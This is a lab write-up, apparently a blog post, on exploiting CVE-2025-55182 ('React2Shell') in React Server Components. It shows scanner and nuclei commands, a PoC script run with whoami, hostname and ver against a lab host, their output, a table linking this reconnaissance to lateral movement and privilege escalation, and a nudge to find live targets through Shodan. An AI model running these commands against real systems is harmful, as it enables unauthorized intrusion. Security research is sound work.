
Khai thác lỗ hổng bảo mật CVE-2025-55182
CVE-2025-55182, also known as React2Shell, is a critical Remote Code Execution (RCE) vulnerability affecting React Server Components (RSC). It uses the Flight protocol for communication between client and server. When a client requests data, the server receives a payload and parses it, which can allow an attacker to inject malicious structures or arbitrary code that React accepts as valid.
| Item | Content |
|---|---|
| Severity | Critical (CVSS 10.0) |
| Type | Unsafe Deserialization (CWE-502) |
| Attack Vector | Remote, no authentication required |
| Affected Versions: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 and Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
The server processes the payload from the client without adequate validation, allowing an attacker to:
Exploitation activity related to this vulnerability has been detected since December 5, 2025. Most successful exploits originate from assessments by attack groups. Both Windows and Linux environments are affected.
Installation
pip install -r requirements.txt
Scan a vulnerable server:
python3 scanner.py -u https://example.com
Enter the path to scan (here I enter my vulnerable machine http://192.168.10.1:3000)
Result obtained:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
Scan a list of hosts:
python3 scanner.py -l hosts.txt
Scan with multiple threads and save results:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Scan with custom headers:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Scan Windows targets:
python3 scanner.py -u https://example.com --windows
Use safe side-channel detection method:
python3 scanner.py -u https://example.com --safe-check
As you can see, we are facing a security vulnerability, meaning our supplied server is vulnerable to attack by an Attacker.
Now we will use Nuclei to check what vulnerability with a POC the above server is affected by. This feature works by sending custom requests, reducing false positives, and supports parallel scanning.
nuclei -t scan.yaml -u http://192.168.10.1:3000
Result obtained
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
The system has detected that this server is vulnerable and can be exploited by the CVE-2025-55182 vulnerability. From that, you can see it is a quite dangerous and important vulnerability with many POCs already available on social platforms. ☺☺☺
You can see that just this information is enough to confirm the security vulnerability exists in the above application. To prove that this application can be leveraged to run a command or execute code remotely, I will start the PoC.
chmod +x scanner.sh
# Check if the target is vulnerable
./datscan.sh -d example.com
# Execute command to check current user
./datscan.sh -d example.com -c "whoami"
# With full URL
./datscan.sh -d example.com -c "uname -a"
Meaning:
Returns the current user running the server process
Helps determine:
=> This is the most basic command to confirm successful RCE
-d, --domain - domain/URL-c, --command - Command to execute (e.g., whoami, hostname,...)# Check machine name
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Determine operating system version
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Check if command execution is working stably
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
This is the initial reconnaissance step after successful exploitation.
Helps us confirm: RCE works, identify the operating system,...
Because this experiment is demonstrated in a personal lab environment to avoid legal issues, using HTTP headers to exfiltrate data, large outputs, or special characters may cause:
ERR_INVALID_CHAR
Short commands (e.g., whoami, ver) are more reliable for illustration in the above test environment.
If you prefer, you can use Shodan to check live IP addresses on the real internet and perform the same steps as my experiment above to exploit (not recommended).
As noted above. This tool is for educational and authorized security testing purposes only. Do not use this tool to test systems you do not own or are not authorized to test.
| Meaning of executed commands | Content |
|---|
| Returns host name | Used to: - identify the affected system - serve lateral movement (in internal environments) |
| Determine operating system version | Important to: - assess further exploitation potential (privilege escalation) - choose appropriate exploit |
| Check command execution | Used to debug payload / scanner |
| Returns current username | In this case: -user is ADMIN → may have high privileges - More important than whoami in some Windows cases |
| Returns machine name | Returns machine name via environment variable |